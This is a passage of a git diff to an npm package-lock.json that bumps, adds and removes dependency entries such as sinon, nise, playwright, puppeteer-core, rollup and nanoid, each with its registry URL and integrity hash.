"sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "nan-x": { @@ -9255,6 +8036,18 @@ "resolved": "https://registry.npmjs.org/nan-x/-/nan-x-1.0.2.tgz", "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ==" }, + "nanocolors": { + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/nanocolors/-/nanocolors-0.2.9.tgz", + "integrity": "sha512-aymgS4Xe0LMqHOHl7jSUEkFh/6O/pcF0j61dBtreQZ1nmbyYdYjSYSJzz0iPLbKPkMtSmdRgyBGywNZGjKOEfw==", + "dev": true + }, + "nanoid": { + "version": "3.1.28", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.28.tgz", + "integrity": "sha512-gSu9VZ2HtmoKYe/lmyPFES5nknFrHa+/DT9muUFWFMi6Jh9E1I7bkvlQ8xxf1Kos9pi9o8lBnIOkatMhKX/YUw==", + "dev": true + }, "napi-macros": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/napi-macros/-/napi-macros-2.0.0.tgz", @@ -9279,27 +8072,16 @@ "dev": true }, "nise": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz", - "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.0.tgz", + "integrity": "sha512-W5WlHu+wvo3PaKLsJJkgPup2LrsXCcm7AWwyNZkUnn5rwPkuPBi3Iwk5SQtN0mv+K65k7nKKjwNQ30wg3wLAQQ==", "dev": true, "requires": { "@sinonjs/commons": "^1.7.0", - "@sinonjs/fake-timers": "^6.0.0", + "@sinonjs/fake-timers": "^7.0.4", "@sinonjs/text-encoding": "^0.7.1", "just-extend": "^4.0.2", "path-to-regexp": "^1.7.0" - }, - "dependencies": { - "@sinonjs/fake-timers": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz", - "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==", - "dev": true, - "requires": { - "@sinonjs/commons": "^1.7.0" - } - } } }, "node-environment-flags": { @@ -9321,24 +8103,16 @@ } }, "node-fetch": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", - "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==" + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", + "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", + "dev": true }, "node-gyp-build": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.1.1.tgz", "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ==" }, - "nomnom": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/nomnom/-/nomnom-1.8.1.tgz", - "integrity": "sha1-IVH3Ikcrp55Qp2/BJbuMjy5Nwqc=", - "requires": { - "chalk": "~0.4.0", - "underscore": "~1.6.0" - } - }, "normalize-package-data": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", @@ -9652,6 +8426,14 @@ "dev": true, "requires": { "isarray": "0.0.1" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + } } }, "path-type": { @@ -9805,9 +8587,9 @@ } }, "playwright": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.14.1.tgz", - "integrity": "sha512-JYNjhwWcfsBkg0FMGLbFO9e58FVdmICE4k97/glIQV7cBULL7oxNjRQC7Ffe+Y70XVNnP0HSJLaA0W5SukyftQ==", + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.15.0.tgz", + "integrity": "sha512-JtagFVjNvccP1rIixHB/4KbR+BzMTJLty6mo71YLatvJR9ZH+PX8DLlhw1KDdIH2YGMSQGf2ihh4KAp9tsklxQ==", "dev": true, "requires": { "commander": "^6.1.0", @@ -9938,10 +8720,15 @@ "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz", "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + }, + "node-fetch": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", + "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==" }, "readable-stream": { "version": "1.1.14", @@ -9959,6 +8746,11 @@ "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.1.tgz", "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig==" }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" + }, "through2": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz", @@ -10115,6 +8907,11 @@ "requires": { "lie": "3.1.1" } + }, + "uuid": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==" } } }, @@ -10125,9 +8922,9 @@ "dev": true }, "prismjs": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.24.1.tgz", - "integrity": "sha512-mNPsedLuk90RVJioIky8ANZEwYm5w9LcvCXrxHlwf4fNVSn8jEipMybMkWUyyF0JhnC+C4VcOVSBuHRKs1L5Ow==" + "version": "1.25.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.25.0.tgz", + "integrity": "sha512-WCjJHl1KEWbnkQom1+SzftbtXMKQoezOCYs5rECqMN+jP+apI7ftoflyqigqzopSO3hMhTEb0mFClA8lkolgEg==" }, "private": { "version": "0.1.8", @@ -10204,9 +9001,9 @@ "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" }, "puppeteer-core": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-10.2.0.tgz", - "integrity": "sha512-c1COxSnfynsE6Mtt+dW0t3TITjF9Ku4dnJbFMDDVhLQuMTYSpz4rkSP37qvzcSo3k02/Ac3GYWk0/ncp6DKZNA==", + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-10.4.0.tgz", + "integrity": "sha512-KU8zyb7AIOqNjLCN3wkrFXxh+EVaG+zrs2P03ATNjc3iwSxHsu5/EvZiREpQ/IJiT9xfQbDVgKcsvRuzLCxglQ==", "dev": true, "requires": { "debug": "4.3.1", @@ -10238,12 +9035,6 @@ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, - "node-fetch": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", - "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", - "dev": true - }, "pkg-dir": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", @@ -10324,12 +9115,6 @@ "toidentifier": "1.0.0" } }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, "setprototypeof": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", @@ -10578,14 +9363,13 @@ } }, "readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" } }, "readable-stream-node-to-web": { @@ -10594,6 +9378,15 @@ "integrity": "sha1-i3YU+qFGXr+g2pucpjA/onBzt88=", "dev": true }, + "readable-web-to-node-stream": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz", + "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==", + "dev": true, + "requires": { + "readable-stream": "^3.6.0" + } + }, "readdirp": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", @@ -10809,9 +9602,9 @@ }, "dependencies": { "glob": { - "version": "7.1.7", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", - "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", @@ -10825,9 +9618,9 @@ } }, "rollup": { - "version": "2.56.3", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.56.3.tgz", - "integrity": "sha512-Au92NuznFklgQCUcV96iXlxUbHuB1vQMaH76DHl5M11TotjOHwqk9CwcrT78+Tnv4FN9uTBxq6p4EJoYkpyekg==", + "version": "2.58.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.58.0.tgz", + "integrity": "sha512-NOXpusKnaRpbS7ZVSzcEXqxcLDOagN6iFS8p45RkoiMqPHDLwJm758UF05KlMoCRbLBTZsPOIa887gZJ1AiXvw==", "dev": true, "requires": { "fsevents": "~2.3.2" @@ -10856,6 +9649,12 @@ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" }, + "safe-stable-stringify": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-1.1.1.tgz", + "integrity": "sha512-ERq4hUjKDbJfE4+XtZLFPCDi8Vb1JqaxAPTxWFLBx8XcAlf9Bda/ZJdVezs/NAfsMQScyIlUMx+Yeu7P7rx5jw==", + "dev": true + }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", @@ -10936,9 +9735,9 @@ } }, "signal-exit": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.4.tgz", + "integrity": "sha512-rqYhcAnZ6d/vTPGghdrw7iumdcbXpsk1b8IG/rz+VWV51DM0p7XCtMoJ3qhPLIbp3tvyt3pKRbaaEMZYpHto8Q==", "dev": true }, "simple-swizzle": { @@ -10951,32 +9750,23 @@ } }, "sinon": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/sinon/-/sinon-10.0.0.tgz", - "integrity": "sha512-XAn5DxtGVJBlBWYrcYKEhWCz7FLwZGdyvANRyK06419hyEpdT0dMc5A8Vcxg5SCGHc40CsqoKsc1bt1CbJPfNw==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz", + "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==", "dev": true, "requires": { - "@sinonjs/commons": "^1.8.1", - "@sinonjs/fake-timers": "^6.0.1", - "@sinonjs/samsam": "^5.3.1", - "diff": "^4.0.2", - "nise": "^4.1.0", - "supports-color": "^7.1.0" + "@sinonjs/commons": "^1.8.3", + "@sinonjs/fake-timers": "^7.1.2", + "@sinonjs/samsam": "^6.0.2", + "diff": "^5.0.0", + "nise": "^5.1.0", + "supports-color": "^7.2.0" }, "dependencies": { - "@sinonjs/fake-timers": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz", - "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==", - "dev": true, - "requires": { - "@sinonjs/commons": "^1.7.0" - } - }, "diff": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", "dev": true } } @@ -11002,32 +9792,6 @@ "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "source-map": { @@ -11038,10 +9802,35 @@ "amdefine": ">=0.0.4" } }, + "source-map-support": { + "version": "0.5.20", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", + "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + }, + "dependencies": { + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, "spark-md5": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz", - "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=" + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", + "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", + "dev": true }, "sparqlalgebrajs": { "version": "3.0.3", @@ -11077,26 +9866,12 @@ "spark-md5": "^3.0.1", "sparqlalgebrajs": "^3.0.2", "uuid": "^8.0.0" - }, - "dependencies": { - "spark-md5": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", - "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", - "dev": true - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true - } } }, "sparqljs": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.4.3.tgz", - "integrity": "sha512-VPMnvPjnU+P3xVbEfysxhpRqdIfCfKIcuOClp5j0g1dFt/1Bmp8l5BeBZv1uqIRuUey97q37Qxq13QBLePXBtg==", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.5.0.tgz", + "integrity": "sha512-tDcW4Bswx4jMNTb/h1DzYdSglK2YcxySAaRLy0CZckALqztr62WxGHCjOzLw7ps02JQd/28nB99dSzkhRBOf9w==", "dev": true, "requires": { "rdf-data-factory": "^1.0.4" @@ -11191,34 +9966,6 @@ "dev": true, "requires": { "readable-stream": "^3.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "sprintf-js": { @@ -11234,9 +9981,9 @@ "dev": true }, "stack-utils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.3.tgz", - "integrity": "sha512-gL//fkxfWUsIlFL2Tl42Cl6+HFALEaB1FU76I/Fy+oZjRreP7OPMXFlGbxM7NQsI0ZpUfw76sHnv0WNYuTb7Iw==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz", + "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==", "dev": true, "requires": { "escape-string-regexp": "^2.0.0" @@ -11284,25 +10031,14 @@ "dev": true }, "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } + "strip-ansi": "^6.0.1" } }, "string.prototype.trimend": { @@ -11326,9 +10062,12 @@ } }, "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } }, "stringify-object": { "version": "3.3.0", @@ -11350,9 +10089,13 @@ } }, "strip-ansi": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-0.1.1.tgz", - "integrity": "sha1-OeipjQRNFQZgq+SmgIrPcLt7yZE=" + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } }, "strip-bom": { "version": "3.0.0", @@ -11405,9 +10148,9 @@ }, "dependencies": { "ajv": { - "version": "8.6.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.2.tgz", - "integrity": "sha512-9807RlWAgT564wT+DjeyU5OFMPjmzxVobvDFmNAhY+5zD6A2ly3jDp6sgnfyDtlIQ+7H97oc/DGCzzfu9rjw9w==", + "version": "8.6.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.3.tgz", + "integrity": "sha512-SMJOdDP6LqTkD0Uq8qLi+gMwSt0imXLSV080qFVwJCpH9U6Mb+SUGHAXM0KNbcBPguytWyvFxcHgMLe2D2XSpw==", "dev": true, "requires": { "fast-deep-equal": "^3.1.1", @@ -11421,15 +10164,6 @@ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } } } }, @@ -11482,34 +10216,6 @@ "fs-constants": "^1.0.0", "inherits": "^2.0.3", "readable-stream": "^3.1.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "text-extensions": { @@ -11542,6 +10248,29 @@ "requires": { "readable-stream": ">=1.0.33-1 <1.1.0-0", "xtend": ">=4.0.0 <4.1.0-0" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + }, + "readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" + } } }, "to-boolean-x": { @@ -11664,6 +10393,13 @@ "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.1.2" + }, + "dependencies": { + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": 